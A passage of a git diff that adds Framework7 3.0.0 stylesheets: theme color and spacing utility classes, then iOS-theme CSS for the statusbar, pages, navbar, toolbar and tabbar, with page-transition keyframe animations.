+} +.ios .bg-color-black { + background-color: #000000 !important; +} +.ios .border-color-black { + border-color: #000000 !important; +} +.md .padding { + padding: 16px !important; +} +.md .padding-top { + padding-top: 16px !important; +} +.md .padding-bottom { + padding-bottom: 16px !important; +} +.md .padding-left { + padding-left: 16px !important; +} +.md .padding-right { + padding-right: 16px !important; +} +.md .padding-vertical { + padding-top: 16px !important; + padding-bottom: 16px !important; +} +.md .padding-horizontal { + padding-left: 16px !important; + padding-right: 16px !important; +} +.md .margin { + margin: 16px !important; +} +.md .margin-top { + margin-top: 16px !important; +} +.md .margin-bottom { + margin-bottom: 16px !important; +} +.md .margin-left { + margin-left: 16px !important; +} +.md .margin-right { + margin-right: 16px !important; +} +.md .margin-vertical { + margin-top: 16px !important; + margin-bottom: 16px !important; +} +.md .margin-horizontal { + margin-left: 16px !important; + margin-right: 16px !important; +} +.md .text-color-red { + color: #f44336 !important; +} +.md .bg-color-red { + background-color: #f44336 !important; +} +.md .border-color-red { + border-color: #f44336 !important; +} +.md .text-color-green { + color: #4caf50 !important; +} +.md .bg-color-green { + background-color: #4caf50 !important; +} +.md .border-color-green { + border-color: #4caf50 !important; +} +.md .text-color-blue { + color: #2196f3 !important; +} +.md .bg-color-blue { + background-color: #2196f3 !important; +} +.md .border-color-blue { + border-color: #2196f3 !important; +} +.md .text-color-pink { + color: #e91e63 !important; +} +.md .bg-color-pink { + background-color: #e91e63 !important; +} +.md .border-color-pink { + border-color: #e91e63 !important; +} +.md .text-color-yellow { + color: #ffeb3b !important; +} +.md .bg-color-yellow { + background-color: #ffeb3b !important; +} +.md .border-color-yellow { + border-color: #ffeb3b !important; +} +.md .text-color-orange { + color: #ff9800 !important; +} +.md .bg-color-orange { + background-color: #ff9800 !important; +} +.md .border-color-orange { + border-color: #ff9800 !important; +} +.md .text-color-gray { + color: #9e9e9e !important; +} +.md .bg-color-gray { + background-color: #9e9e9e !important; +} +.md .border-color-gray { + border-color: #9e9e9e !important; +} +.md .text-color-white { + color: #ffffff !important; +} +.md .bg-color-white { + background-color: #ffffff !important; +} +.md .border-color-white { + border-color: #ffffff !important; +} +.md .text-color-black { + color: #000000 !important; +} +.md .bg-color-black { + background-color: #000000 !important; +} +.md .border-color-black { + border-color: #000000 !important; +} diff --git a/framework7/css/framework7.ios.css b/framework7/css/framework7.ios.css new file mode 100644 index 0000000..e3937c5 --- /dev/null +++ b/framework7/css/framework7.ios.css @@ -0,0 +1,17415 @@ +/** + * Framework7 3.0.0 + * Full featured mobile HTML framework for building iOS & Android apps + * http://framework7.io/ + * + * Copyright 2014-2018 Vladimir Kharlampidi + * + * Released under the MIT License + * + * Released on: July 5, 2018 + */ +html, +body, +.framework7-root { + position: relative; + height: 100%; + width: 100%; + overflow-x: hidden; +} +body { + margin: 0; + padding: 0; + font-size: 14px; + width: 100%; + background: #fff; + overflow: hidden; + -webkit-text-size-adjust: 100%; + -webkit-font-smoothing: antialiased; +} +.framework7-root { + overflow: hidden; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.framework7-initializing *, +.framework7-initializing *:before, +.framework7-initializing *:after { + -webkit-transition-duration: 0ms !important; + transition-duration: 0ms !important; +} +/* +a, button, input, textarea, .link, .button, label, .sortable-handler { + touch-action: manipulation; + -ms-touch-action: manipulation; +} +*/ +@media (width: 1024px) and (height: 691px) and (orientation: landscape) { + html, + body, + .framework7-root { + height: 671px; + } +} +@media (width: 1024px) and (height: 692px) and (orientation: landscape) { + html, + body, + .framework7-root { + height: 672px; + } +} +* { + -webkit-tap-highlight-color: rgba(0, 0, 0, 0); + -webkit-touch-callout: none; +} +a, +input, +textarea, +select { + outline: 0; +} +a { + cursor: pointer; + text-decoration: none; +} +p { + margin: 1em 0; +} +.disabled { + opacity: 0.55 !important; + pointer-events: none !important; +} +.ios body { + font-family: -apple-system, SF UI Text, Helvetica Neue, Helvetica, Arial, sans-serif; + color: #000; + line-height: 1.4; +} +.ios .md-only, +.ios .if-md { + display: none !important; +} +.ios a { + color: #007aff; +} +@media (width: 1024px) and (height: 691px) and (orientation: landscape) { + .ios, + .ios body, + .ios .framework7-root { + height: 671px; + } +} +@media (width: 1024px) and (height: 692px) and (orientation: landscape) { + .ios, + .ios body, + .ios .framework7-root { + height: 672px; + } +} +.ios .theme-dark { + color: #fff; +} +.ios .color-theme-red a { + color: #ff3b30; +} +.ios .color-theme-green a { + color: #4cd964; +} +.ios .color-theme-blue a { + color: #007aff; +} +.ios .color-theme-pink a { + color: #ff2d55; +} +.ios .color-theme-yellow a { + color: #ffcc00; +} +.ios .color-theme-orange a { + color: #ff9500; +} +.ios .color-theme-gray a { + color: #8e8e93; +} +.ios .color-theme-white a { + color: #ffffff; +} +.ios .color-theme-black a { + color: #000000; +} +.ios a.color-red { + color: #ff3b30; +} +.ios a.color-green { + color: #4cd964; +} +.ios a.color-blue { + color: #007aff; +} +.ios a.color-pink { + color: #ff2d55; +} +.ios a.color-yellow { + color: #ffcc00; +} +.ios a.color-orange { + color: #ff9500; +} +.ios a.color-gray { + color: #8e8e93; +} +.ios a.color-white { + color: #ffffff; +} +.ios a.color-black { + color: #000000; +} +/* === Statusbar === */ +.statusbar { + position: absolute; + left: 0; + top: 0; + width: 100%; + z-index: 10000; + -webkit-box-sizing: border-box; + box-sizing: border-box; + display: none; +} +html.device-ios .statusbar, +html.ios:not(.device-ios):not(.device-android) .statusbar { + height: 20px; +} +html.device-android .statusbar, +html.md:not(.device-ios):not(.device-android) .statusbar { + height: 24px; +} +html.device-ios.device-iphone-x .statusbar { + height: constant(safe-area-inset-top); + height: env(safe-area-inset-top); +} +html.with-statusbar .statusbar { + display: block; +} +html.with-statusbar.device-ios .framework7-root, +html.with-statusbar.ios:not(.device-ios):not(.device-android) .framework7-root { + padding-top: 20px; +} +html.with-statusbar.device-android .framework7-root, +html.with-statusbar.md:not(.device-ios):not(.device-android) .framework7-root { + padding-top: 24px; +} +html.with-statusbar.device-iphone-x .framework7-root { + padding-top: constant(safe-area-inset-top); + padding-top: env(safe-area-inset-top); +} +.ios .statusbar { + background: #f7f7f8; +} +.ios .theme-dark .statusbar { + background-color: #1b1b1b; +} +/* === Views === */ +.views, +.view { + position: relative; + height: 100%; + z-index: 5000; + overflow: hidden; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +/* === Pages === */ +.pages { + position: relative; + width: 100%; + height: 100%; + overflow: hidden; +} +.page { + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.page.stacked { + display: none; +} +.page-previous { + pointer-events: none; +} +.page-content { + overflow: auto; + -webkit-overflow-scrolling: touch; + -webkit-box-sizing: border-box; + box-sizing: border-box; + height: 100%; + position: relative; + z-index: 1; +} +.ios .page-shadow-effect { + position: absolute; + top: 0; + width: 16px; + bottom: 0; + z-index: -1; + content: ''; + opacity: 0; + right: 100%; + background: -webkit-gradient(linear, left top, right top, from(rgba(0, 0, 0, 0)), color-stop(10%, rgba(0, 0, 0, 0)), color-stop(50%, rgba(0, 0, 0, 0.01)), to(rgba(0, 0, 0, 0.2))); + background: -webkit-linear-gradient(left, rgba(0, 0, 0, 0) 0%, rgba(0, 0, 0, 0) 10%, rgba(0, 0, 0, 0.01) 50%, rgba(0, 0, 0, 0.2) 100%); + background: linear-gradient(to right, rgba(0, 0, 0, 0) 0%, rgba(0, 0, 0, 0) 10%, rgba(0, 0, 0, 0.01) 50%, rgba(0, 0, 0, 0.2) 100%); +} +.ios .page-opacity-effect { + position: absolute; + left: 0; + top: 0; + background: rgba(0, 0, 0, 0.1); + width: 100%; + bottom: 0; + content: ''; + opacity: 0; + z-index: 10000; +} +.ios .router-dynamic-navbar-inside .page-shadow-effect, +.ios .router-dynamic-navbar-inside .page-opacity-effect { + top: 44px; +} +.ios .page { + background: #efeff4; +} +.ios .page-previous { + -webkit-transform: translate3d(-20%, 0, 0); + transform: translate3d(-20%, 0, 0); +} +.ios .page-next { + -webkit-transform: translate3d(100%, 0, 0); + transform: translate3d(100%, 0, 0); +} +.ios .page-previous .page-opacity-effect { + opacity: 1; +} +.ios .page-previous:after { + opacity: 1; +} +.ios .page-current .page-shadow-effect { + opacity: 1; +} +.ios .page-transitioning, +.ios .page-transitioning .page-shadow-effect, +.ios .page-transitioning .page-opacity-effect { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.ios .router-transition-forward .page-next, +.ios .router-transition-backward .page-next, +.ios .router-transition-forward .page-current, +.ios .router-transition-backward .page-current, +.ios .router-transition-forward .page-previous:not(.stacked), +.ios .router-transition-backward .page-previous:not(.stacked) { + pointer-events: none; +} +.ios .router-transition-css-forward .page-next { + -webkit-animation: ios-page-next-to-current 400ms forwards; + animation: ios-page-next-to-current 400ms forwards; +} +.ios .router-transition-css-forward .page-next:before { + position: absolute; + top: 0; + width: 16px; + bottom: 0; + z-index: -1; + content: ''; + opacity: 0; + right: 100%; + background: -webkit-gradient(linear, left top, right top, from(rgba(0, 0, 0, 0)), color-stop(10%, rgba(0, 0, 0, 0)), color-stop(50%, rgba(0, 0, 0, 0.01)), to(rgba(0, 0, 0, 0.2))); + background: -webkit-linear-gradient(left, rgba(0, 0, 0, 0) 0%, rgba(0, 0, 0, 0) 10%, rgba(0, 0, 0, 0.01) 50%, rgba(0, 0, 0, 0.2) 100%); + background: linear-gradient(to right, rgba(0, 0, 0, 0) 0%, rgba(0, 0, 0, 0) 10%, rgba(0, 0, 0, 0.01) 50%, rgba(0, 0, 0, 0.2) 100%); + -webkit-animation: ios-page-next-to-current-shadow 400ms forwards; + animation: ios-page-next-to-current-shadow 400ms forwards; +} +.ios .router-transition-css-forward .page-current { + -webkit-animation: ios-page-current-to-previous 400ms forwards; + animation: ios-page-current-to-previous 400ms forwards; +} +.ios .router-transition-css-forward .page-current:after { + position: absolute; + left: 0; + top: 0; + background: rgba(0, 0, 0, 0.1); + width: 100%; + bottom: 0; + content: ''; + opacity: 0; + z-index: 10000; + -webkit-animation: ios-page-current-to-previous-opacity 400ms forwards; + animation: ios-page-current-to-previous-opacity 400ms forwards; +} +.ios .router-transition-css-forward.router-dynamic-navbar-inside .page-next:before, +.ios .router-transition-css-forward.router-dynamic-navbar-inside .page-current:after { + top: 44px; +} +.ios .router-transition-css-backward .page-previous, +.ios .router-transition-css-backward .page-current { + pointer-events: none; +} +.ios .router-transition-css-backward .page-previous { + -webkit-animation: ios-page-previous-to-current 400ms forwards; + animation: ios-page-previous-to-current 400ms forwards; +} +.ios .router-transition-css-backward .page-previous:after { + position: absolute; + left: 0; + top: 0; + background: rgba(0, 0, 0, 0.1); + width: 100%; + bottom: 0; + content: ''; + opacity: 0; + z-index: 10000; + -webkit-animation: ios-page-previous-to-current-opacity 400ms forwards; + animation: ios-page-previous-to-current-opacity 400ms forwards; +} +.ios .router-transition-css-backward .page-current { + -webkit-animation: ios-page-current-to-next 400ms forwards; + animation: ios-page-current-to-next 400ms forwards; +} +.ios .router-transition-css-backward .page-current:before { + position: absolute; + top: 0; + width: 16px; + bottom: 0; + z-index: -1; + content: ''; + opacity: 0; + right: 100%; + background: -webkit-gradient(linear, left top, right top, from(rgba(0, 0, 0, 0)), color-stop(10%, rgba(0, 0, 0, 0)), color-stop(50%, rgba(0, 0, 0, 0.01)), to(rgba(0, 0, 0, 0.2))); + background: -webkit-linear-gradient(left, rgba(0, 0, 0, 0) 0%, rgba(0, 0, 0, 0) 10%, rgba(0, 0, 0, 0.01) 50%, rgba(0, 0, 0, 0.2) 100%); + background: linear-gradient(to right, rgba(0, 0, 0, 0) 0%, rgba(0, 0, 0, 0) 10%, rgba(0, 0, 0, 0.01) 50%, rgba(0, 0, 0, 0.2) 100%); + -webkit-animation: ios-page-current-to-next-shadow 400ms forwards; + animation: ios-page-current-to-next-shadow 400ms forwards; +} +.ios .router-transition-css-backward.router-dynamic-navbar-inside .page-current:before, +.ios .router-transition-css-backward.router-dynamic-navbar-inside .page-previous:after { + top: 44px; +} +.ios .theme-dark .page, +.page.ios .theme-dark { + background: #171717; +} +@-webkit-keyframes ios-page-next-to-current { + from { + -webkit-transform: translate3d(100%, 0, 0); + transform: translate3d(100%, 0, 0); + } + to { + -webkit-transform: translate3d(0%, 0, 0); + transform: translate3d(0%, 0, 0); + } +} +@keyframes ios-page-next-to-current { + from { + -webkit-transform: translate3d(100%, 0, 0); + transform: translate3d(100%, 0, 0); + } + to { + -webkit-transform: translate3d(0%, 0, 0); + transform: translate3d(0%, 0, 0); + } +} +@-webkit-keyframes ios-page-previous-to-current { + from { + -webkit-transform: translate3d(-20%, 0, 0); + transform: translate3d(-20%, 0, 0); + } + to { + -webkit-transform: translate3d(0%, 0, 0); + transform: translate3d(0%, 0, 0); + } +} +@keyframes ios-page-previous-to-current { + from { + -webkit-transform: translate3d(-20%, 0, 0); + transform: translate3d(-20%, 0, 0); + } + to { + -webkit-transform: translate3d(0%, 0, 0); + transform: translate3d(0%, 0, 0); + } +} +@-webkit-keyframes ios-page-current-to-previous { + from { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + } + to { + -webkit-transform: translate3d(-20%, 0, 0); + transform: translate3d(-20%, 0, 0); + } +} +@keyframes ios-page-current-to-previous { + from { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + } + to { + -webkit-transform: translate3d(-20%, 0, 0); + transform: translate3d(-20%, 0, 0); + } +} +@-webkit-keyframes ios-page-current-to-next { + from { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + } + to { + -webkit-transform: translate3d(100%, 0, 0); + transform: translate3d(100%, 0, 0); + } +} +@keyframes ios-page-current-to-next { + from { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + } + to { + -webkit-transform: translate3d(100%, 0, 0); + transform: translate3d(100%, 0, 0); + } +} +@-webkit-keyframes ios-page-next-to-current-shadow { + from { + opacity: 0; + } + to { + opacity: 1; + } +} +@keyframes ios-page-next-to-current-shadow { + from { + opacity: 0; + } + to { + opacity: 1; + } +} +@-webkit-keyframes ios-page-previous-to-current-opacity { + from { + opacity: 1; + } + to { + opacity: 0; + } +} +@keyframes ios-page-previous-to-current-opacity { + from { + opacity: 1; + } + to { + opacity: 0; + } +} +@-webkit-keyframes ios-page-current-to-previous-opacity { + from { + opacity: 0; + } + to { + opacity: 1; + } +} +@keyframes ios-page-current-to-previous-opacity { + from { + opacity: 0; + } + to { + opacity: 1; + } +} +@-webkit-keyframes ios-page-current-to-next-shadow { + from { + opacity: 1; + } + to { + opacity: 0; + } +} +@keyframes ios-page-current-to-next-shadow { + from { + opacity: 1; + } + to { + opacity: 0; + } +} +/* === Link === */ +.link, +.tab-link { + display: -webkit-inline-box; + display: -webkit-inline-flex; + display: -ms-inline-flexbox; + display: inline-flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-align-content: center; + -ms-flex-line-pack: center; + align-content: center; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + position: relative; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + z-index: 1; +} +.ios .link { + -webkit-transition: opacity 300ms; + transition: opacity 300ms; +} +.ios .link i + span, +.ios .link i + i, +.ios .link span + i, +.ios .link span + span { + margin-left: 7px; +} +.ios .link.active-state { + opacity: 0.3; + -webkit-transition-duration: 0ms; + transition-duration: 0ms; +} +/* === Navbar === */ +.navbar { + position: relative; + left: 0; + top: 0; + width: 100%; + z-index: 500; + -webkit-backface-visibility: hidden; + backface-visibility: hidden; + -webkit-box-sizing: border-box; + box-sizing: border-box; + margin: 0; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.navbar b { + font-weight: 500; +} +.navbar a.link { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; +} +.navbar .title, +.navbar .left, +.navbar .right { + position: relative; + z-index: 1; +} +.navbar .title { + text-align: center; + position: relative; + overflow: hidden; + text-overflow: ellipsis; + white-space: nowrap; + -webkit-flex-shrink: 10; + -ms-flex-negative: 10; + flex-shrink: 10; + font-weight: 500; + display: inline-block; +} +.navbar .subtitle { + display: block; +} +.navbar .left, +.navbar .right { + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: start; + -webkit-justify-content: flex-start; + -ms-flex-pack: start; + justify-content: flex-start; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.navbar .right:first-child { + position: absolute; + height: 100%; +} +.navbar-inner { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.navbar-inner.stacked { + display: none; +} +.views > .navbar, +.view > .navbar, +.page > .navbar { + position: absolute; +} +.ios .navbar { + height: 44px; + font-size: 17px; + background: #f7f7f8; +} +.ios .navbar.no-hairline:after { + display: none !important; +} +.ios .navbar:after { + -webkit-backface-visibility: hidden; + backface-visibility: hidden; +} +.ios .navbar a.link { + -webkit-box-pack: start; + -webkit-justify-content: flex-start; + -ms-flex-pack: start; + justify-content: flex-start; + line-height: 44px; + height: 44px; +} +.ios .navbar a.icon-only { + width: 44px; + margin: 0; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; +} +.ios .navbar .title { + font-size: 17px; + margin: 0; + line-height: 1.2; +} +.ios .navbar .subtitle { + color: #6d6d72; + line-height: 1; + font-size: 10px; + text-align: center; + font-weight: normal; +} +.ios .navbar .left a + a, +.ios .navbar .right a + a { + margin-left: 15px; +} +.ios .navbar b, +.ios .navbar .title { + font-weight: 600; +} +.ios .navbar .left { + margin-right: 10px; +} +.ios .navbar .right { + margin-left: 10px; +} +.ios .navbar .right:first-child { + right: 8px; +} +.ios .navbar:after { + content: ''; + position: absolute; + background-color: #c4c4c4; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .navbar:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .navbar:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .navbar-inner { + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + padding: 0 8px; +} +.ios .navbar ~ *:not(.no-navbar) .page-content, +.ios .navbar ~ .page-content { + padding-top: 44px; +} +.ios .navbar-previous { + pointer-events: none; +} +.ios .navbar-previous .left, +.ios .navbar-previous .right, +.ios .navbar-previous > .title, +.ios .navbar-previous .subnavbar, +.ios .navbar-previous .fading { + opacity: 0; +} +.ios .navbar-previous .sliding { + opacity: 0; +} +.ios .navbar-previous .subnavbar.sliding, +.ios .navbar-previous.sliding .subnavbar { + opacity: 1; + -webkit-transform: translate3d(-100%, 0, 0); + transform: translate3d(-100%, 0, 0); +} +.ios .navbar-next { + pointer-events: none; +} +.ios .navbar-next .left, +.ios .navbar-next .right, +.ios .navbar-next > .title, +.ios .navbar-next .subnavbar, +.ios .navbar-next .fading { + opacity: 0; +} +.ios .navbar-next .sliding { + opacity: 0; +} +.ios .navbar-next.sliding .left, +.ios .navbar-next.sliding .right, +.ios .navbar-next.sliding > .title, +.ios .navbar-next.sliding .subnavbar { + opacity: 0; +} +.ios .navbar-next .subnavbar.sliding, +.ios .navbar-next.sliding .subnavbar { + opacity: 1; + -webkit-transform: translate3d(100%, 0, 0); + transform: translate3d(100%, 0, 0); +} +.ios .navbar-transitioning { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +.ios .navbar-hidden { + -webkit-transform: translate3d(0, -100%, 0); + transform: translate3d(0, -100%, 0); +} +.ios .router-transition-css-forward .navbar-current .left, +.ios .router-transition-css-backward .navbar-current .left, +.ios .router-transition-css-forward .navbar-current > .title, +.ios .router-transition-css-backward .navbar-current > .title, +.ios .router-transition-css-forward .navbar-current .right, +.ios .router-transition-css-backward .navbar-current .right, +.ios .router-transition-css-forward .navbar-current .subnavbar, +.ios .router-transition-css-backward .navbar-current .subnavbar { + -webkit-animation: ios-navbar-element-fade-out 400ms forwards; + animation: ios-navbar-element-fade-out 400ms forwards; +} +.ios .router-transition-css-forward .navbar-current .sliding, +.ios .router-transition-css-backward .navbar-current .sliding, +.ios .router-transition-css-forward .navbar-current .left.sliding .icon, +.ios .router-transition-css-backward .navbar-current .left.sliding .icon, +.ios .router-transition-css-forward .navbar-current.sliding .left, +.ios .router-transition-css-backward .navbar-current.sliding .left, +.ios .router-transition-css-forward .navbar-current.sliding .left .icon, +.ios .router-transition-css-backward .navbar-current.sliding .left .icon, +.ios .router-transition-css-forward .navbar-current.sliding > .title, +.ios .router-transition-css-backward .navbar-current.sliding > .title, +.ios .router-transition-css-forward .navbar-current.sliding .right, +.ios .router-transition-css-backward .navbar-current.sliding .right { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; + opacity: 0 !important; + -webkit-animation: none; + animation: none; +} +.ios .router-transition-css-forward .navbar-current.sliding .subnavbar, +.ios .router-transition-css-backward .navbar-current.sliding .subnavbar, +.ios .router-transition-css-forward .navbar-current .sliding.subnavbar, +.ios .router-transition-css-backward .navbar-current .sliding.subnavbar { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; + -webkit-animation: none; + animation: none; + opacity: 1; +} +.ios .router-transition-css-forward .navbar-next .left, +.ios .router-transition-css-backward .navbar-previous .left, +.ios .router-transition-css-forward .navbar-next > .title, +.ios .router-transition-css-backward .navbar-previous > .title, +.ios .router-transition-css-forward .navbar-next .right, +.ios .router-transition-css-backward .navbar-previous .right, +.ios .router-transition-css-forward .navbar-next .subnavbar, +.ios .router-transition-css-backward .navbar-previous .subnavbar { + -webkit-animation: ios-navbar-element-fade-in 400ms forwards; + animation: ios-navbar-element-fade-in 400ms forwards; +} +.ios .router-transition-css-forward .navbar-next .sliding, +.ios .router-transition-css-backward .navbar-previous .sliding, +.ios .router-transition-css-forward .navbar-next .left.sliding .icon, +.ios .router-transition-css-backward .navbar-previous .left.sliding .icon, +.ios .router-transition-css-forward .navbar-next.sliding .left, +.ios .router-transition-css-backward .navbar-previous.sliding .left, +.ios .router-transition-css-forward .navbar-next.sliding .left .icon, +.ios .router-transition-css-backward .navbar-previous.sliding .left .icon, +.ios .router-transition-css-forward .navbar-next.sliding > .title, +.ios .router-transition-css-backward .navbar-previous.sliding > .title, +.ios .router-transition-css-forward .navbar-next.sliding .right, +.ios .router-transition-css-backward .navbar-previous.sliding .right, +.ios .router-transition-css-forward .navbar-next.sliding .subnavbar, +.ios .router-transition-css-backward .navbar-previous.sliding .subnavbar { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; + -webkit-animation: none; + animation: none; + -webkit-transform: translate3d(0, 0, 0) !important; + transform: translate3d(0, 0, 0) !important; + opacity: 1 !important; +} +.ios .theme-dark .navbar, +.navbar.ios .theme-dark { + background: #1b1b1b; +} +.ios .theme-dark .navbar:after, +.navbar.ios .theme-dark:after { + background-color: #282829; +} +.ios .theme-dark .navbar .subtitle, +.navbar.ios .theme-dark .subtitle { + color: #8e8e93; +} +@media (orientation: landscape) { + .ios.device-iphone-x .ios-left-edge .navbar-inner, + .ios.device-iphone-x .ios-edges .navbar-inner, + .ios.device-iphone-x .popup .navbar-inner, + .ios.device-iphone-x .sheet-modal .navbar-inner, + .ios.device-iphone-x .panel-left .navbar-inner { + padding-left: calc(8px + constant(safe-area-inset-right)); + padding-left: calc(8px + env(safe-area-inset-right)); + } + .ios.device-iphone-x .ios-right-edge .navbar-inner, + .ios.device-iphone-x .ios-edges .navbar-inner, + .ios.device-iphone-x .popup .navbar-inner, + .ios.device-iphone-x .sheet-modal .navbar-inner, + .ios.device-iphone-x .panel-right .navbar-inner { + padding-right: calc(8px + constant(safe-area-inset-right)); + padding-right: calc(8px + env(safe-area-inset-right)); + } +} +@-webkit-keyframes ios-navbar-element-fade-in { + from { + opacity: 0; + } + to { + opacity: 1; + } +} +@keyframes ios-navbar-element-fade-in { + from { + opacity: 0; + } + to { + opacity: 1; + } +} +@-webkit-keyframes ios-navbar-element-fade-out { + from { + opacity: 1; + } + to { + opacity: 0; + } +} +@keyframes ios-navbar-element-fade-out { + from { + opacity: 1; + } + to { + opacity: 0; + } +} +/* === Toolbar === */ +.toolbar { + width: 100%; + position: relative; + margin: 0; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + -webkit-backface-visibility: hidden; + backface-visibility: hidden; + z-index: 500; + -webkit-box-sizing: border-box; + box-sizing: border-box; + left: 0; +} +.toolbar b { + font-weight: 500; +} +.toolbar a { + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + position: relative; + white-space: nowrap; + text-overflow: ellipsis; +} +.toolbar a.link { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; +} +.toolbar i.icon { + display: block; +} +.toolbar-inner { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-sizing: border-box; + box-sizing: border-box; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-align-content: center; + -ms-flex-line-pack: center; + align-content: center; +} +.views > .tabbar, +.views > .tabbar-labels { + z-index: 5001; +} +.tabbar a.link, +.tabbar-labels a.link { + line-height: 1.4; +} +.tabbar a.tab-link, +.tabbar-labels a.tab-link, +.tabbar a.link, +.tabbar-labels a.link { + height: 100%; + width: 100%; + -webkit-box-sizing: border-box; + box-sizing: border-box; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; +} +.tabbar-labels a.tab-link, +.tabbar-labels a.link { + height: 100%; + -webkit-box-pack: justify; + -webkit-justify-content: space-between; + -ms-flex-pack: justify; + justify-content: space-between; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; +} +.tabbar-labels a.tab-link .tabbar-label, +.tabbar-labels a.link .tabbar-label { + display: block; + line-height: 1; + margin: 0; + position: relative; + text-overflow: ellipsis; + white-space: nowrap; +} +.tabbar-scrollable .toolbar-inner { + overflow: auto; + -webkit-overflow-scrolling: touch; +} +.tabbar-scrollable .toolbar-inner::-webkit-scrollbar { + display: none !important; + width: 0 !important; + height: 0 !important; + -webkit-appearance: none; + opacity: 0 !important; +} +.tabbar-scrollable a.tab-link, +.tabbar-scrollable a.link { + width: auto; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; +} +.views > .toolbar, +.view > .toolbar, +.page > .toolbar { + position: absolute; +} +.ios .toolbar { + height: 44px; + font-size: 17px; + background: #f7f7f8; + bottom: 0; +} +.ios .toolbar:after { + -webkit-backface-visibility: hidden; + backface-visibility: hidden; +} +.ios .toolbar a.link { + line-height: 44px; + height: 44px; +} +.ios .toolbar a.link i + span, +.ios .toolbar a.link i + i, +.ios .toolbar a.link span + i, +.ios .toolbar a.link span + span { + margin-left: 7px; +} +.ios .toolbar a.icon-only { + min-height: 44px; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + margin: 0; + min-width: 44px; +} +.ios .toolbar b { + font-weight: 600; +} +.ios .toolbar.no-hairline:before { + display: none !important; +} +.ios .toolbar:before { + content: ''; + position: absolute; + background-color: #c4c4c4; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.ios.device-pixel-ratio-2 .toolbar:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .toolbar:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .toolbar-inner { + padding: 0 8px; +} +.ios .tabbar, +.ios .tabbar-labels { + color: #929292; +} +.ios .tabbar a, +.ios .tabbar-labels a { + color: #929292; +} +.ios .tabbar a.tab-link-active, +.ios .tabbar-labels a.tab-link-active { + color: #007aff; +} +.ios .tabbar i.icon, +.ios .tabbar-labels i.icon { + height: 30px; +} +.ios .tabbar-labels { + height: 50px; +} +.ios .tabbar-labels a.tab-link, +.ios .tabbar-labels a.link { + padding-top: 4px; + padding-bottom: 4px; +} +.ios .tabbar-labels a.tab-link i + span, +.ios .tabbar-labels a.link i + span { + margin: 0; +} +.ios .tabbar-labels .tabbar-label { + letter-spacing: 0.01em; + font-size: 10px; +} +@media (min-width: 768px) { + 